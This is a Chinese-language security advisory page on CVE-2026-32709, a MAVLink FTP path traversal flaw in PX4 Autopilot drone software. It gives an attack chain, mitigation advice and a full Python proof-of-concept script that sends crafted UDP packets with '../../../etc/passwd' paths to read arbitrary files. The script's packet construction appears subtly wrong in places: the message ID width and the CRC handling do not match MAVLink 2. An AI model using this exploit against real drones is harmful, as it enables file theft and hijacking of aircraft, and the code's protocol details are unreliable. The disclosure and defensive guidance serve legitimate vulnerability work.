IPBUF安全漏洞报告
English
CVE-2026-32709 CVSS 5.4 中危

CVE-2026-32709: PX4 Autopilot MAVLink FTP路径遍历漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32709
漏洞类型
路径遍历
CVSS评分
5.4 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PX4 Autopilot

相关标签

路径遍历MAVLink FTPPX4 Autopilot无人机安全未授权访问TOCTOU竞态条件NuttXPOSIX

漏洞概述

PX4 Autopilot是一款开源飞控系统,广泛应用于无人机和无人系统。该漏洞存在于1.17.0-rc2之前版本的MAVLink FTP实现中,允许未经认证的攻击者通过构造特殊的文件路径,对目标系统的文件系统进行任意读取、写入、创建、删除和重命名操作。由于MAVLink协议在无人机系统中广泛用于地面站与飞行控制器之间的通信,攻击者只需处于网络邻接位置(如与无人机处于同一网络段)即可发起攻击。该漏洞影响使用NuttX和POSIX(如Linux companion computer、SITL)作为运行平台的PX4系统,可能导致敏感配置信息泄露、飞行控制逻辑篡改,甚至完全接管无人机系统。

技术细节

漏洞根源在于MAVLink FTP模块对用户提供的文件路径缺乏有效验证。在NuttX平台上,FTP根目录配置为空字符串,导致攻击者提供的路径被直接传递给文件系统系统调用而没有任何前缀或过滤。在POSIX平台(包括Linux companion computers和SITL仿真环境)上,写路径验证函数无条件返回true,完全无法提供保护。此外,NuttX平台上的写操作验证存在TOCTOU(Time-of-check to Time-of-use)竞态条件,攻击者可通过多线程或快速操作绕过现有的唯一防护机制。攻击者可通过发送精心构造的MAVLink FTP数据包(包含'..'或其他路径遍历字符)访问系统任意文件,如读取/etc/passwd、修改飞行参数配置文件、或植入恶意代码。由于MAVLink协议通常使用UDP传输且无加密,攻击可在无线网络环境中悄无声息地进行。

攻击链分析

STEP 1
步骤1
攻击者处于与无人机相同的网络邻接位置(同一WiFi网络或无线干扰范围内)
STEP 2
步骤2
攻击者识别目标PX4系统的MAVLink FTP服务端口(默认14540 UDP)
STEP 3
步骤3
攻击者构造包含路径遍历字符(如'../../../')的MAVLink FTP READ请求数据包
STEP 4
步骤4
在NuttX平台:由于FTP根目录为空字符串,路径直接传递给文件系统调用,绕过安全边界
STEP 5
步骤5
在POSIX平台:利用写验证函数无条件返回true的缺陷,绕过访问控制
STEP 6
步骤6
攻击者成功读取敏感文件(如/etc/passwd、参数配置文件、SSH密钥等)或写入恶意代码
STEP 7
步骤7
攻击者可进一步篡改飞行参数、执行任意代码,最终实现对无人机的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-32709 PoC - PX4 Autopilot MAVLink FTP Path Traversal This PoC demonstrates reading arbitrary files from PX4 Autopilot filesystem. Note: This is for educational and authorized testing purposes only. """ import socket import struct import sys # MAVLink FTP Message IDs MAVLINK_MSG_ID_FILE_TRANSFER_SESSION = 0 MAVFTP_OPCODE_READ = 1 MAVFTP_OPCODE_READ_ACK = 129 def create_mavlink_ftp_message(opcode, session, offset, data): """Create a MAVLink FTP message with path traversal payload.""" # MAVLink header (10 bytes for MAVLink 2.0) magic = 0xFD payload_len = 12 + len(data) incompatibility_flags = 0 compatibility_flags = 0 packet_sequence = 1 system_id = 255 # Ground station component_id = 190 # MAVFTP component # MAVLink message ID for FileTransferSession msg_id = 110 # MAVLINK_MSG_ID_FILE_TRANSFER_SESSION # Build payload: opcode(1) + session(1) + offset(4) + size(4) + data payload = struct.pack('<BBIII', opcode, session, offset, len(data), 0) + data # CRC calculation would go here (simplified for PoC) crc = 0 header = struct.pack('<BBBBBBH', magic, payload_len, incompatibility_flags, compatibility_flags, packet_sequence, system_id, component_id) message = header + struct.pack('<I', msg_id) + payload crc_payload = header[1:] + struct.pack('<I', msg_id) + payload # Calculate CRC crc = crc16_calculate(crc_payload) return message + struct.pack('<H', crc) def crc16_calculate(data): """Calculate MAVLink CRC16.""" crc = 0xFFFF for byte in data: crc ^= byte for _ in range(8): if crc & 1: crc = (crc >> 1) ^ 0xA001 else: crc >>= 1 return crc def exploit_path_traversal(target_ip, target_port, file_path): """ Exploit path traversal to read arbitrary files. Example: file_path = '../../../etc/passwd' """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: # Craft path traversal request payload = file_path.encode('utf-8') + b'\x00' # Create READ request (opcode 1) request = create_mavlink_ftp_message( opcode=MAVFTP_OPCODE_READ, session=0, offset=0, data=payload ) print(f"[*] Sending path traversal request for: {file_path}") sock.sendto(request, (target_ip, target_port)) # Receive response response, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}") print(f"[+] Response length: {len(response)} bytes") return response except socket.timeout: print("[-] Request timed out - target may not be vulnerable or not reachable") return None except Exception as e: print(f"[-] Error: {e}") return None finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 poc.py <target_ip> <port> ") print("Example: python3 poc.py 192.168.1.1 14540 '../../../etc/passwd'") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) file_path = sys.argv[3] exploit_path_traversal(target_ip, target_port, file_path)

影响范围

PX4 Autopilot < 1.17.0-rc2 (NuttX平台)
PX4 Autopilot < 1.17.0-rc2 (POSIX/Linux平台)

防御指南

临时缓解措施
立即将PX4 Autopilot升级至1.17.0-rc2或更高版本以修复漏洞。同时,建议在网络层面限制MAVLink协议通信,仅允许受信任的地面站设备连接,并考虑在MAVLink代理中实施额外的路径验证逻辑。在无法立即升级的情况下,可通过防火墙规则限制对UDP端口14540等MAVLink服务端口的访问,仅允许特定IP地址通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表